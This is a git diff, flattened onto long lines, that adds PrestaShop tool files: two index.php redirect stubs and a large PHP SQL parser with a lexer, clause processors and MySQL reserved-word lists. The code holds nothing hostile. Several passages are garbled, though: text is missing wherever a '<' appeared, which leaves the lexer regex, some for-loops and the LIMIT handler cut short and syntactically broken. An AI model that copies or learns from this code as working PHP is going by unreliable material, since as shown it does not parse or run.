0000000..c1c95ce --- /dev/null +++ b/tools/mobile_Detect/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/tools/parser_sql/index.php b/tools/parser_sql/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/tools/parser_sql/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/tools/parser_sql/parser_sql.php b/tools/parser_sql/parser_sql.php new file mode 100755 index 0000000..f7e151c --- /dev/null +++ b/tools/parser_sql/parser_sql.php @@ -0,0 +1,1970 @@ +load_reserved_words(); + if($sql) $this->parse($sql); + } + + function parse($sql) { + $sql = trim($sql); + + #lex the SQL statement + $in = $this->split_sql($sql); + + #sometimes the parser needs to skip ahead until a particular + #token is found + $skip_until = false; + + #this is the output tree which is being parsed + $out = array(); + + #This is the last type of union used (UNION or UNION ALL) + #indicates a) presence of at least one union in this query + # b) the type of union if this is the first or last query + $union = false; + + #Sometimes a "query" consists of more than one query (like a UNION query) + #this array holds all the queries + $queries=array(); + + #This is the highest level lexical analysis. This is the part of the + #code which finds UNION and UNION ALL query parts + foreach($in as $key => $token) { + $token=trim($token); + + if($skip_until) { + if($token) { + if(strtoupper($token) == $skip_until) { + $skip_until = false; + continue; + } + } else { + continue; + } + } + + if(strtoupper($token) == "UNION") { + $union = 'UNION'; + for($i=$key+1;$i $tok_list) { + foreach($tok_list as $z => $tok) { + $tok = trim($tok); + if(!$tok) continue; + if(preg_match('/^\\(\\s*select\\s*/i', $tok)) { + $queries[$union_type][$i] = $this->parse(substr($tok,1,-1)); + break; + } else { + $queries[$union_type][$i] = $this->process_sql($queries[$union_type][$i]); + break; + } + } + } + } + } + + + /* If there was no UNION or UNION ALL in the query, then the query is + stored at $queries[0]. + */ + if(!empty($queries[0])) { + $queries[0] = $this->process_sql($queries[0]); + + } + + if(count($queries) == 1 && !$union) { + $queries = $queries[0]; + } + + $this->parsed = $queries; + return $this->parsed; + } + + #This function counts open and close parenthesis and + #returns their location. This might be faster as a regex + private function count_paren($token,$chars=array('(',')')) { + $len = strlen($token); + $open=array(); + $close=array(); + for($i=0;$i<$len;++$i){ + if($token[$i] == $chars[0]) { + $open[] = $i; + } elseif($token[$i] == $chars[1]) { + $close[] = $i; + } + + } + return array('open' => $open, 'close' => $close, 'balanced' =>( count($close) - count($open))); + } + + #This function counts open and close parenthesis and + #returns their location. This might be faster as a regex + private function count_backtick($token) { + $len = strlen($token); + $cnt=0; + for($i=0;$i<$len;++$i){ + if($token[$i] == '`') ++$cnt; + } + return $cnt; + } + + #This is the lexer + #this function splits up a SQL statement into easy to "parse" + #tokens for the SQL processor + private function split_sql($sql) { + + if(!is_string($sql)) { + echo "SQL:\n"; + print_r($sql); + exit; + } + + $sql = str_replace(array('\\\'','\\"',"\r\n","\n","()"),array("''",'""'," "," "," "), $sql); + $regex=<<|>|<|&&|\|\||=|\^) +|(\(.*?\)) # Match FUNCTION(...) OR BAREWORDS +|('(?:[^']|'')*'+) +|("(?:[^"]|"")*"+) +|([^ ,]+) +/ix +EOREGEX +; + + $tokens = preg_split($regex, $sql,-1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); + $token_count = count($tokens); + + /* The above regex has one problem, because the parenthetical match is not greedy. + Thus, when matching grouped expresions such as ( (a and b) or c) the + tokenizer will produce "( (a and b)", " ", "or", " " , "c,")" + + This block detects the number of open/close parens in the given token. If the parens are balanced + (balanced == 0) then we don't need to do anything. + + otherwise, we need to balance the expression. + */ + $reset = false; + for($i=0;$i<$token_count;++$i) { + + if(empty($tokens[$i])) continue; + + $token = $tokens[$i]; + $trim = trim($token); + if($trim) { + if($trim[0] != '(' + && substr($trim,-1) == ')') { + $trim=trim(substr($trim,0, + strpos($trim,'('))); + } + $tokens[$i]=$trim; + $token=$trim; + } + + if($token && $token[0] == '(') { + $info = $this->count_paren($token); + if($info['balanced'] == 0) { + continue; + } + + #we need to find this many closing parens + $needed = abs($info['balanced']); + $n = $i; + while($needed > 0 && $n <$token_count-1) { + ++$n; + #echo "LOOKING FORWARD TO $n [ " . $tokens[$n] . "]\n"; + $token2 = $tokens[$n]; + $info2 = $this->count_paren($token2); + $closes = count($info2['close']); + if($closes != $needed) { + $tokens[$i] .= $tokens[$n]; + unset($tokens[$n]); + $reset = true; + $info2 = $this->count_paren($tokens[$i]); + $needed = abs($info2['balanced']); + # echo "CLOSES LESS THAN NEEDED (still need $needed)\n"; + } else { + /*get the string pos of the last close paren we need*/ + $pos = $info2['close'][count($info2['close'])-1]; + $str1 = $str2 = ""; + if($pos == 0) { + $str1 = ')'; + } else { + $str1 = substr($tokens[$n],0,$pos) . ')'; + $str2 = substr($tokens[$n],$pos+1); + } + #echo "CLOSES FOUND AT $n, offset:$pos [$str1] [$str2]\n"; + if(strlen($str2) > 0) { + $tokens[$n] = $str2; + } else { + unset($tokens[$n]); + $reset = true; + } + $tokens[$i] .= $str1; + $info2 = $this->count_paren($tokens[$i]); + $needed = abs($info2['balanced']); + + } + } + } + } + + #the same problem appears with backticks :( + + /* reset the array if we deleted any tokens above */ + if ($reset) $tokens = array_values($tokens); + + $token_count=count($tokens); + for($i=0;$i<$token_count;++$i) { + if(empty($tokens[$i])) continue; + $token=$tokens[$i]; + $needed=true; + $reset=false; + if($needed && $token && strpos($token,'`') !== false) { + $info = $this->count_backtick($token); + if($info %2 == 0) { #even number of backticks means we are balanced + continue; + } + $needed=1; + + $n = $i; + while($needed && $n <$token_count-1) { + $reset=true; + #echo "BACKTICK COUNT[$i]: $info old: {$tokens[$i]}, new: ($token)\n"; + ++$n; + $token .= $tokens[$n]; + unset($tokens[$n]); + $needed = $this->count_backtick($token) % 2; + } + } + if($reset) $tokens[$i] = $token; + + } + /* reset the array if we deleted any tokens above */ + $tokens = array_values($tokens); + + return $tokens; + + } + + /* This function breaks up the SQL statement into logical sections. + Some sections are then further handled by specialized functions. + */ + private function process_sql(&$tokens,$start_at = 0, $stop_at = false) { + $prev_category = ""; + $start = microtime(true); + $token_category = ""; + + $skip_next=false; + $token_count = count($tokens); + + if(!$stop_at) { + $stop_at = $token_count; + } + + $out = false; + + for($token_number = $start_at;$token_number<$stop_at;++$token_number) { + $token = trim($tokens[$token_number]); + if($token && $token[0] == '(' && $token_category == "") { + $token_category = 'SELECT'; + } + + /* If it isn't obvious, when $skip_next is set, then we ignore the next real + token, that is we ignore whitespace. + */ + if($skip_next) { + #whitespace does not count as a next token + if($token == "") { + continue; + } + + #to skip the token we replace it with whitespace + $new_token = ""; + $skip_next = false; + } + + $upper = strtoupper($token); + switch($upper) { + + /* Tokens that get their own sections. These keywords have subclauses. */ + case 'SELECT': + case 'ORDER': + case 'LIMIT': + case 'SET': + case 'DUPLICATE': + case 'VALUES': + case 'GROUP': + case 'ORDER': + case 'HAVING': + case 'INTO': + case 'WHERE': + case 'RENAME': + case 'CALL': + case 'PROCEDURE': + case 'FUNCTION': + case 'DATABASE': + case 'SERVER': + case 'LOGFILE': + case 'DEFINER': + case 'RETURNS': + case 'EVENT': + case 'TABLESPACE': + case 'VIEW': + case 'TRIGGER': + case 'DATA': + case 'DO': + case 'PASSWORD': + case 'USER': + case 'PLUGIN': + case 'FROM': + case 'FLUSH': + case 'KILL': + case 'RESET': + case 'START': + case 'STOP': + case 'PURGE': + case 'EXECUTE': + case 'PREPARE': + case 'DEALLOCATE': + if($token == 'DEALLOCATE') { + $skip_next = true; + } + /* this FROM is different from FROM in other DML (not join related) */ + if($token_category == 'PREPARE' && $upper == 'FROM') { + continue 2; + } + + $token_category = $upper; + #$join_type = 'JOIN'; + if($upper == 'FROM' && $token_category == 'FROM') { + /* DO NOTHING*/ + } else { + continue 2; + + } + break; + + /* These tokens get their own section, but have no subclauses. + These tokens identify the statement but have no specific subclauses of their own. */ + case 'DELETE': + case 'ALTER': + case 'INSERT': + case 'REPLACE': + case 'TRUNCATE': + case 'CREATE': + case 'TRUNCATE': + case 'OPTIMIZE': + case 'GRANT': + case 'REVOKE': + case 'SHOW': + case 'HANDLER': + case 'LOAD': + case 'ROLLBACK': + case 'SAVEPOINT': + case 'UNLOCK': + case 'INSTALL': + case 'UNINSTALL': + case 'ANALZYE': + case 'BACKUP': + case 'CHECK': + case 'CHECKSUM': + case 'REPAIR': + case 'RESTORE': + case 'CACHE': + case 'DESCRIBE': + case 'EXPLAIN': + case 'USE': + case 'HELP': + $token_category = $upper; /* set the category in case these get subclauses + in a future version of MySQL */ + $out[$upper][0] = $upper; + continue 2; + break; + + /* This is either LOCK TABLES or SELECT ... LOCK IN SHARE MODE*/ + case 'LOCK': + if($token_category == "") { + $token_category = $upper; + $out[$upper][0] = $upper; + } else { + $token = 'LOCK IN SHARE MODE'; + $skip_next=true; + $out['OPTIONS'][] = $token; + } + continue 2; + break; + + case 'USING': + /* USING in FROM clause is different from USING w/ prepared statement*/ + if($token_category == 'EXECUTE') { + $token_category=$upper; + continue 2; + } + if($token_category == 'FROM' && !empty($out['DELETE'])) { + $token_category=$upper; + continue 2; + } + break; + + /* DROP TABLE is different from ALTER TABLE DROP ... */ + case 'DROP': + if($token_category != 'ALTER') { + $token_category = $upper; + $out[$upper][0] = $upper; + continue 2; + } + break; + + case 'FOR': + $skip_next=true; + $out['OPTIONS'][] = 'FOR UPDATE'; + continue 2; + break; + + + case 'UPDATE': + if($token_category == "" ) { + $token_category = $upper; + continue 2; + + } + if($token_category == 'DUPLICATE') { + continue 2; + } + break; + break; + + case 'START': + $token = "BEGIN"; + $out[$upper][0] = $upper; + $skip_next = true; + break; + + /* These tokens are ignored. */ + case 'BY': + case 'ALL': + case 'SHARE': + case 'MODE': + case 'TO': + + case ';': + continue 2; + break; + + case 'KEY': + if($token_category == 'DUPLICATE') { + continue 2; + } + break; + + /* These tokens set particular options for the statement. They never stand alone.*/ + case 'DISTINCTROW': + $token='DISTINCT'; + case 'DISTINCT': + case 'HIGH_PRIORITY': + case 'LOW_PRIORITY': + case 'DELAYED': + case 'IGNORE': + case 'FORCE': + case 'STRAIGHT_JOIN': + case 'SQL_SMALL_RESULT': + case 'SQL_BIG_RESULT': + case 'QUICK': + case 'SQL_BUFFER_RESULT': + case 'SQL_CACHE': + case 'SQL_NO_CACHE': + case 'SQL_CALC_FOUND_ROWS': + $out['OPTIONS'][] = $upper; + continue 2; + break; + + case 'WITH': + if($token_category == 'GROUP') { + $skip_next=true; + $out['OPTIONS'][] = 'WITH ROLLUP'; + continue 2; + } + break; + + + case 'AS': + break; + + case '': + case ',': + case ';': + break; + + default: + break; + } + + if($prev_category == $token_category) { + $out[$token_category][] = $token; + } + + $prev_category = $token_category; + } + + if(!$out) return false; + + + #process the SELECT clause + if(!empty($out['SELECT'])) $out['SELECT'] = $this->process_select($out['SELECT']); + + if(!empty($out['FROM'])) $out['FROM'] = $this->process_from($out['FROM']); + if(!empty($out['USING'])) $out['USING'] = $this->process_from($out['USING']); + if(!empty($out['UPDATE'])) $out['UPDATE'] = $this->process_from($out['UPDATE']); + + if(!empty($out['GROUP'])) $out['GROUP'] = $this->process_group($out['GROUP'], $out['SELECT']); + if(!empty($out['ORDER'])) $out['ORDER'] = $this->process_group($out['ORDER'], $out['SELECT']); + + if(!empty($out['LIMIT'])) $out['LIMIT'] = $this->process_limit($out['LIMIT']); + + if(!empty($out['WHERE'])) $out['WHERE'] = $this->process_expr_list($out['WHERE']); + if(!empty($out['HAVING'])) $out['HAVING'] = $this->process_expr_list($out['HAVING']); + if(!empty($out['SET'])) $out['SET'] = $this->process_set_list($out['SET']); + if(!empty($out['DUPLICATE'])) { + $out['ON DUPLICATE KEY UPDATE'] = $this->process_set_list($out['DUPLICATE']); + unset($out['DUPLICATE']); + } + if(!empty($out['INSERT'])) $out = $this->process_insert($out); + if(!empty($out['REPLACE'])) $out = $this->process_insert($out,'REPLACE'); + if(!empty($out['DELETE'])) $out = $this->process_delete($out); + + return $out; + + } + + /* A SET list is simply a list of key = value expressions separated by comma (,). + This function produces a list of the key/value expressions. + */ + private function process_set_list($tokens) { + $column=""; + $expression=""; + foreach($tokens as $token) { + $token=trim($token); + if(!$column) { + if($token === false || empty($token)) continue; + $column .= $token; + continue; + } + + if($token == '=') continue; + + if($token == ',') { + $expr[] = array('column' => trim($column), 'expr' => trim($expression)); + $expression = $column = ""; + continue; + } + + $expression .= $token; + } + if($expression) { + $expr[] = array('column' => trim($column), 'expr' => trim($expression)); + } + + return $expr; + } + + /* This function processes the LIMIT section. + start,end are set. If only end is provided in the query + then start is set to 0. + */ + private function process_limit($tokens) { + $start = 0; + $end = 0; + + if($pos = array_search(',',$tokens)) { + for($i=0;$i<$pos;++$i) { + if($tokens[$i] != '') { + $start = $tokens[$i]; + break; + } + } + $pos = $pos + 1; + + } else { + $pos = 0; + } + + for($i=$pos;$i $start, 'end' => $end); + } + + /* This function processes the SELECT section. It splits the clauses at the commas. + Each clause is then processed by process_select_expr() and the results are added to + the expression list. + + Finally, at the end, the epxression list is returned. + */ + private function process_select(&$tokens) { + $expression = ""; + $expr = array(); + foreach($tokens as $token) { + if($token == ',') { + $expr[] = $this->process_select_expr(trim($expression)); + $expression = ""; + } else { + if($token === "" || $token===false) $token=" "; + $expression .= $token ; + } + } + if($expression) $expr[] = $this->process_select_expr(trim($expression)); + return $expr; + } + + /* This fuction processes each SELECT clause. We determine what (if any) alias + is provided, and we set the type of expression. + */ + private function process_select_expr($expression) { + $capture = false; + $alias = ""; + $base_expression = $expression; + $upper = trim(strtoupper($expression)); + #if necessary, unpack the expression + if($upper[0] == '(') { + #$expression = substr($expression,1,-1); + $base_expression = $expression; + } + + $tokens = $this->split_sql($expression); + $token_count = count($tokens); + + /* Determine if there is an explicit alias after the AS clause. + If AS is found, then the next non-whitespace token is captured as the alias. + The tokens after (and including) the AS are removed. + */ + $base_expr = ""; + $stripped=array(); + $capture=false; + $alias = ""; + $processed=false; + for($i=0;$i<$token_count;++$i) { + $token = strtoupper($tokens[$i]); + if(trim($token)) { + $stripped[] = $tokens[$i]; + } + + if($token == 'AS') { + unset($tokens[$i]); + $capture = true; + continue; + } + + if($capture) { + if(trim($token)) { + $alias .= $tokens[$i]; + } + unset($tokens[$i]); + continue; + } + $base_expr .= $tokens[$i]; + } + + $stripped = $this->process_expr_list($stripped); + $last = array_pop($stripped); + if(!$alias && $last['expr_type'] == 'colref') { + $prev = array_pop($stripped); + if($prev['expr_type'] == 'operator' || + $prev['expr_type'] == 'const' || + $prev['expr_type'] == 'function' || + $prev['expr_type'] == 'expression' || + #$prev['expr_type'] == 'aggregate_function' || + $prev['expr_type'] == 'subquery' || + $prev['expr_type'] == 'colref') { + $alias = $last['base_expr']; + + #remove the last token + array_pop($tokens); + + $base_expr = join("", $tokens); + + + } + } + + if(!$alias) { + $base_expr=join("", $tokens); + $alias = $base_expr; + } + + /* Properly escape the alias if it is not escaped */ + if ($alias[0] != '`') { + $alias = '`' . str_replace('`','``',$alias) . '`'; + } + $processed = false; + $type='expression'; + + if(substr(trim($base_expr),0,1) == '(') { + $base_expr = substr($expression,1,-1); + if(preg_match('/^sel/i', $base_expr)) { + $type='subquery'; + $processed = $this->parse($base_expr); + } + } + if(!$processed) { + $processed = $this->process_expr_list($tokens); + } + + if(count($processed) == 1) { + $type = $processed[0]['expr_type']; + $processed = false; + } + + return array('expr_type'=>$type,'alias' => $alias, 'base_expr' => $base_expr, 'sub_tree' => $processed); + + } + + + private function process_from(&$tokens) { + + $expression = ""; + $expr = array(); + $token_count=0; + $table = ""; + $alias = ""; + + $skip_next=false; + $i=0; + $join_type = ''; + $ref_type=""; + $ref_expr=""; + $base_expr=""; + $sub_tree = false; + $subquery = ""; + + $first_join=true; + $modifier=""; + $saved_join_type=""; + + foreach($tokens as $token) { + $base_expr = false; + $upper = strtoupper(trim($token)); + + if($skip_next && $token) { + $token_count++; + $skip_next = false; + continue; + } else { + if($skip_next) { + continue; + } + } + + if(preg_match("/^\\s*\\(\\s*select/i",$token)) { + $type = 'subquery'; + $table = "DEPENDENT-SUBQUERY"; + $sub_tree = $this->parse(trim($token,'() ')); + $subquery = $token; + } + + switch($upper) { + case 'OUTER': + case 'LEFT': + case 'RIGHT': + case 'NATURAL': + case 'CROSS': + case ',': + case 'JOIN': + break; + + default: + $expression .= $token == '' ? " " : $token; + if($ref_type) { + $ref_expr .= $token == '' ? " " : $token; + } + break; + } + + switch($upper) { + case 'AS': + $token_count++; + $n=1; + $alias = ""; + while($alias == "") { + $alias = trim($tokens[$i+$n]); + ++$n; + } + + continue; + break; + + case 'INDEX': + if($token_category == 'CREATE') { + $token_category = $upper; + continue 2; + } + + break; + + case 'USING': + case 'ON': + $ref_type = $upper; + $ref_expr = ""; + + case 'CROSS': + case 'USE': + case 'FORCE': + case 'IGNORE': + case 'INNER': + case 'OUTER': + # $expression .= $token; + $token_count++; + continue; + break; + + + + case 'FOR': + $token_count++; + $skip_next = true; + continue; + break; + + case 'LEFT': + case 'RIGHT': + case 'STRAIGHT_JOIN': + $join_type=$saved_join_type; + + $modifier = $upper . " "; + break; + + + case ',': + $modifier = 'CROSS'; + + case 'JOIN': + + if($first_join) { + $join_type = 'JOIN'; + $saved_join_type = ($modifier ? $modifier : 'JOIN'); + } else { + $new_join_type = ($modifier ? $modifier : 'JOIN'); + $join_type = $saved_join_type; + $saved_join_type = $new_join_type; + unset($new_join_type); + } + + $first_join = false; + + if(!trim($alias)) $alias = $table; + + if($subquery) { + $sub_tree = $this->parse(trim($subquery,'()')); + $base_expr=$subquery; + } + + if(substr(trim($table),0,1) == '(') { + $base_expr=trim($table,'() '); + $join_type = 'JOIN'; + $sub_tree = $this->process_from($this->split_sql($base_expr)); + $alias=""; + } + + + if($join_type == "") $join_type='JOIN'; + $expr[] = array('table'=>$table, 'alias'=>$alias,'join_type'=>$join_type,'ref_type'=> $ref_type,'ref_clause'=>trim($ref_expr,'() '), 'base_expr' => $base_expr, 'sub_tree' => $sub_tree); + $modifier = ""; + #$join_type=$saved_join_type; + + + $token_count = 0; + $table = $alias = $expression = $base_expr = $ref_type = $ref_expr = ""; + $sub_tree=false; + $subquery = ""; + + break; + + + default: + if($token === false || empty($token) || $token === "") continue; + + if($token_count == 0 ) { + if(!$table) { + $table = $token ; + } + } else if($token_count == 1) { + $alias = $token; + } + $token_count++; + break; + } + ++$i; + } + if(substr(trim($table),0,1) == '(') { + $base_expr=trim($table,'() '); + $join_type = 'JOIN'; + $sub_tree = $this->process_from($this->split_sql($base_expr)); + $alias = ""; + } else { + if(!trim($alias)) $alias = $table; + } + if($join_type == "") $saved_join_type='JOIN'; + + $expr[] = array('table'=>$table, 'alias'=>$alias,'join_type'=>$saved_join_type,'ref_type'=> $ref_type,'ref_clause'=> trim($ref_expr,'() '), 'base_expr' => $base_expr, 'sub_tree' => $sub_tree); + + + return $expr; + } + + private function process_group(&$tokens, &$select) { + + $out=array(); + $expression = ""; + $direction="ASC"; + $type = "expression"; + if(!$tokens) return false; + + foreach($tokens as $token) { + switch(strtoupper($token)) { + case ',': + $expression = trim($expression); + if($expression[0] != '`' || substr($expression,-1) != '`') { + $escaped = str_replace('`','``',$expression); + } else { + $escaped = $expression; + } + $escaped = '`' . $escaped . '`'; + + if(is_numeric(trim($expression))) { + $type = 'pos'; + } else { + + #search to see if the expression matches an alias + foreach($select as $clause) { + if($clause['alias'] == $escaped) { + $type = 'alias'; + } + } + + if(!$type) $type = "expression"; + } + + $out[]=array('type'=>$type,'base_expr'=>$expression,'direction'=>$direction); + $escaped = ""; + $expression = ""; + $direction = "ASC"; + $type = ""; + break; + + case 'ASC': + $direction = "ASC"; + break; + + case 'DESC': + $direction = "DESC"; + break; + + default: + $expression .= $token == '' ? ' ' : $token; + + + } + } + if($expression) { + $expression = trim($expression); + if($expression[0] != '`' || substr($expression,-1) != '`') { + $escaped = str_replace('`','``',$expression); + } else { + $escaped = $expression; + } + $escaped = '`' . $escaped . '`'; + + if(is_numeric(trim($expression))) { + $type = 'pos'; + } else { + + #search to see if the expression matches an alias + if(!$type && $select) { + foreach($select as $clause) { + if(!is_array($clause)) continue; + if($clause['alias'] == $escaped) { + $type = 'alias'; + } + } + } else { + $type="expression"; + } + + if(!$type) $type = "expression"; + } + + $out[]=array('type'=>$type,'base_expr'=>$expression,'direction'=>$direction); + } + + return $out; + } + + /* Some sections are just lists of expressions, like the WHERE and HAVING clauses. This function + processes these sections. Recursive. + */ + private function process_expr_list($tokens) { + $expr = ""; + $type = ""; + $prev_token = ""; + $skip_next = false; + $sub_expr = ""; + + $in_lists = array(); + foreach($tokens as $key => $token) { + + if(strlen(trim($token))==0) continue; + if($skip_next) { + $skip_next = false; + continue; + } + + $processed = false; + $upper = strtoupper(trim($token)); + if(trim($token)) $token=trim($token); + + /* is it a subquery?*/ + if(preg_match("/^\\s*\\(\\s*SELECT/i", $token)) { + $type = 'subquery'; + #tokenize and parse the subquery. + #we remove the enclosing parenthesis for the tokenizer + $processed = $this->parse(trim($token,' ()')); + + + /* is it an inlist */ + } elseif( $upper[0] == '(' && substr($upper,-1) == ')' ) { + if($prev_token == 'IN') { + $type = "in-list"; + $processed = $this->split_sql(substr($token,1,-1)); + $list = array(); + foreach($processed as $v) { + if($v == ',') continue; + $list[]=$v; + } + $processed = $list; + unset($list); + $prev_token = ""; + + } + elseif($prev_token == 'AGAINST') { + $type = "match-arguments"; + $list = $this->split_sql(substr($token,1,-1)); + if(count($list) > 1){ + $match_mode = implode('',array_slice($list,1)); + $processed = array($list[0], $match_mode); + } + else + $processed = $list[0]; + $prev_token = ""; + } + + /* it is either an operator, a colref or a constant */ + } else { + switch($upper) { + case 'AND': + case '&&': + case 'BETWEEN': + case 'AND': + case 'BINARY': + case '&': + case '~': + case '|': + case '^': + case 'CASE': + case 'WHEN': + case 'END': + case 'DIV': + case '/': + case '<=>': + case '=': + case '>=': + case '>': + case 'IS': + case 'NOT': + case 'NULL': + case '<<': + case '<=': + case '<': + case 'LIKE': + case '-': + case '%': + case '!=': + case '<>': + case 'REGEXP': + case '!': + case '||': + case 'OR': + case '+': + case '>>': + case 'RLIKE': + case 'SOUNDS': + case '*': + case '-': + case 'XOR': + case 'IN': + $processed = false; + $type = "operator"; + break; + default: + switch($token[0]) { + case "'": + case '"': + $type = 'const'; + break; + case '`': + $type = 'colref'; + break; + + default: + if(is_numeric($token)) { + $type = 'const'; + } else { + $type = 'colref'; + } + break; + + } + #$processed = $token; + $processed = false; + } + } + /* is a reserved word? */ + if(($type != 'operator' && $type != 'in-list' && $type != 'sub_expr') && in_array($upper, $this->reserved)) { + $token = $upper; + if(!in_array($upper,$this->functions)) { + $type = 'reserved'; + } else { + switch($token) { + case 'AVG': + case 'SUM': + case 'COUNT': + case 'MIN': + case 'MAX': + case 'STDDEV': + case 'STDDEV_SAMP': + case 'STDDEV_POP': + case 'VARIANCE': + case 'VAR_SAMP': + case 'VAR_POP': + case 'GROUP_CONCAT': + case 'BIT_AND': + case 'BIT_OR': + case 'BIT_XOR': + $type = 'aggregate_function'; + if(!empty($tokens[$key+1])) $sub_expr = $tokens[$key+1]; + #$skip_next=true; + break; + + default: + $type = 'function'; + if(!empty($tokens[$key+1])) $sub_expr = $tokens[$key+1]; else $sub_expr="()"; + #$skip_next=true; + + + break; + } + } + } + + if(!$type) { + if($upper[0] == '(') { + $local_expr = substr(trim($token),1,-1); + } else { + $local_expr = $token; + } + $processed = $this->process_expr_list($this->split_sql($local_expr)); + $type = 'expression'; + + if(count($processed) == 1) { + $type = $processed[0]['expr_type']; + $base_expr = $processed[0]['base_expr']; + $processed = $processed[0]['sub_tree']; + } + + } + + $sub_expr=trim($sub_expr); + $sub_expr = ""; + + $expr[] = array( 'expr_type' => $type, 'base_expr' => $token, 'sub_tree' => $processed); + $prev_token = $upper; + $expr_type = ""; + $type = ""; + } + if($sub_expr) { + $processed['sub_tree'] = $this->process_expr_list($this->split_sql(substr($sub_expr,1,-1))); + } + + if(!is_array($processed)) { + + print_r($processed); + $processed = false; + } + + if($expr_type) { + $expr[] = array( 'expr_type' => $type, 'base_expr' => $token, 'sub_tree' => $processed); + } + $mod = false; + + /* + + for($i=0;$i $tables); + + return $tokens; + } + + function process_insert($tokens, $token_category = 'INSERT') { + $table = ""; + $cols = ""; + + if(isset($tokens['INTO'])) + { + $into = $tokens['INTO']; + foreach($into as $token) { + if(!trim($token)) continue; + if(!$table) { + $table = $token; + }elseif(!$cols) { + $cols = $token; + } + } + } + + if(!$cols) { + $cols = 'ALL'; + } else { + $cols = explode(",", trim($cols,'() ')); + } + unset($tokens['INTO']); + $tokens[$token_category] = array('table'=>$table, 'cols'=>$cols); + return $tokens; + + } + + + function load_reserved_words() { + + $this->functions = array( + 'abs', + 'acos', + 'adddate', + 'addtime', + 'aes_encrypt', + 'aes_decrypt', + 'against', + 'ascii', + 'asin', + 'atan', + 'avg', + 'benchmark', + 'bin', + 'bit_and', + 'bit_or', + 'bitcount', + 'bitlength', + 'cast', + 'ceiling', + 'char', + 'char_length', + 'character_length', + 'charset', + 'coalesce', + 'coercibility', + 'collation', + 'compress', + 'concat', + 'concat_ws', + 'conection_id', + 'conv', + 'convert', + 'convert_tz', + 'cos', + 'cot', + 'count', + 'crc32', + 'curdate', + 'current_user', + 'currval', + 'curtime', + 'database', + 'date_add', + 'date_diff', + 'date_format', + 'date_sub', + 'day', + 'dayname', + 'dayofmonth', + 'dayofweek', + 'dayofyear', + 'decode', + 'default', + 'degrees', + 'des_decrypt', + 'des_encrypt', + 'elt', + 'encode', + 'encrypt', + 'exp', + 'export_set', + 'extract', + 'field', + 'find_in_set', + 'floor', + 'format', + 'found_rows', + 'from_days', + 'from_unixtime', + 'get_format', + 'get_lock', + 'group_concat', + 'greatest', + 'hex', + 'hour', + 'if', + 'ifnull', + 'in', + 'inet_aton', + 'inet_ntoa', + 'insert', + 'instr', + 'interval', + 'is_free_lock', + 'is_used_lock', + 'last_day', + 'last_insert_id', + 'lcase', + 'least', + 'left', + 'length', + 'ln', + 'load_file', + 'localtime', + 'localtimestamp', + 'locate', + 'log', + 'log2', + 'log10', + 'lower', + 'lpad', + 'ltrim', + 'make_set', + 'makedate', + 'maketime', + 'master_pos_wait', + 'match', + 'max', + 'md5', + 'microsecond', + 'mid', + 'min', + 'minute', + 'mod', + 'month', + 'monthname', + 'nextval', + 'now', + 'nullif', + 'oct', + 'octet_length', + 'old_password', + 'ord', + 'password', + 'period_add', + 'period_diff', + 'pi', + 'position', + 'pow', + 'power', + 'quarter', + 'quote', + 'radians', + 'rand', + 'release_lock', + 'repeat', + 'replace', + 'reverse', + 'right', + 'round', + 'row_count', + 'rpad', + 'rtrim', + 'sec_to_time', + 'second', + 'session_user', + 'sha', + 'sha1', + 'sign', + 'soundex', + 'space', + 'sqrt', + 'std', + 'stddev', + 'stddev_pop', + 'stddev_samp', + 'strcmp', + 'str_to_date', + 'subdate', + 'substring', + 'substring_index', + 'subtime', + 'sum', + 'sysdate', + 'system_user', + 'tan', + 'time', + 'timediff', + 'timestamp', + 'timestampadd', + 'timestampdiff', + 'time_format', + 'time_to_sec', + 'to_days', + 'trim', + 'truncate', + 'ucase', + 'uncompress', + 'uncompressed_length', + 'unhex', + 'unix_timestamp', + 'upper', + 'user', + 'utc_date', + 'utc_time', + 'utc_timestamp', + 'uuid', + 'var_pop', + 'var_samp', + 'variance', + 'version', + 'week', + 'weekday', + 'weekofyear', + 'year', + 'yearweek'); + + /* includes functions */ + $this->reserved = array( + 'abs', + 'acos', + 'adddate', + 'addtime', + 'aes_encrypt', + 'aes_decrypt', + 'against', + 'ascii', + 'asin', + 'atan', + 'avg', + 'benchmark', + 'bin', + 'bit_and', + 'bit_or', + 'bitcount', + 'bitlength', + 'cast', + 'ceiling', + 'char', + 'char_length', + 'character_length', + 'charset', + 'coalesce', + 'coercibility', + 'collation', + 'compress', + 'concat', + 'concat_ws', + 'conection_id', + 'conv', + 'convert', + 'convert_tz', + 'cos', + 'cot', + 'count', + 'crc32', + 'curdate', + 'current_user', + 'currval', + 'curtime', + 'database', + 'date_add', + 'date_diff', + 'date_format', + 'date_sub', + 'day', + 'dayname', + 'dayofmonth', + 'dayofweek', + 'dayofyear', + 'decode', + 'default', + 'degrees', + 'des_decrypt', + 'des_encrypt', + 'elt', + 'encode', + 'encrypt', + 'exp', + 'export_set', + 'extract', + 'field', + 'find_in_set', + 'floor', + 'format', + 'found_rows', + 'from_days', + 'from_unixtime', + 'get_format', + 'get_lock', + 'group_concat', + 'greatest', + 'hex', + 'hour', + 'if', + 'ifnull', + 'in', + 'inet_aton', + 'inet_ntoa', + 'insert', + 'instr', + 'interval', + 'is_free_lock', + 'is_used_lock', + 'last_day', + 'last_insert_id', + 'lcase', + 'least', + 'left', + 'length', + 'ln', + 'load_file', + 'localtime', + 'localtimestamp', + 'locate', + 'log', + 'log2', + 'log10', + 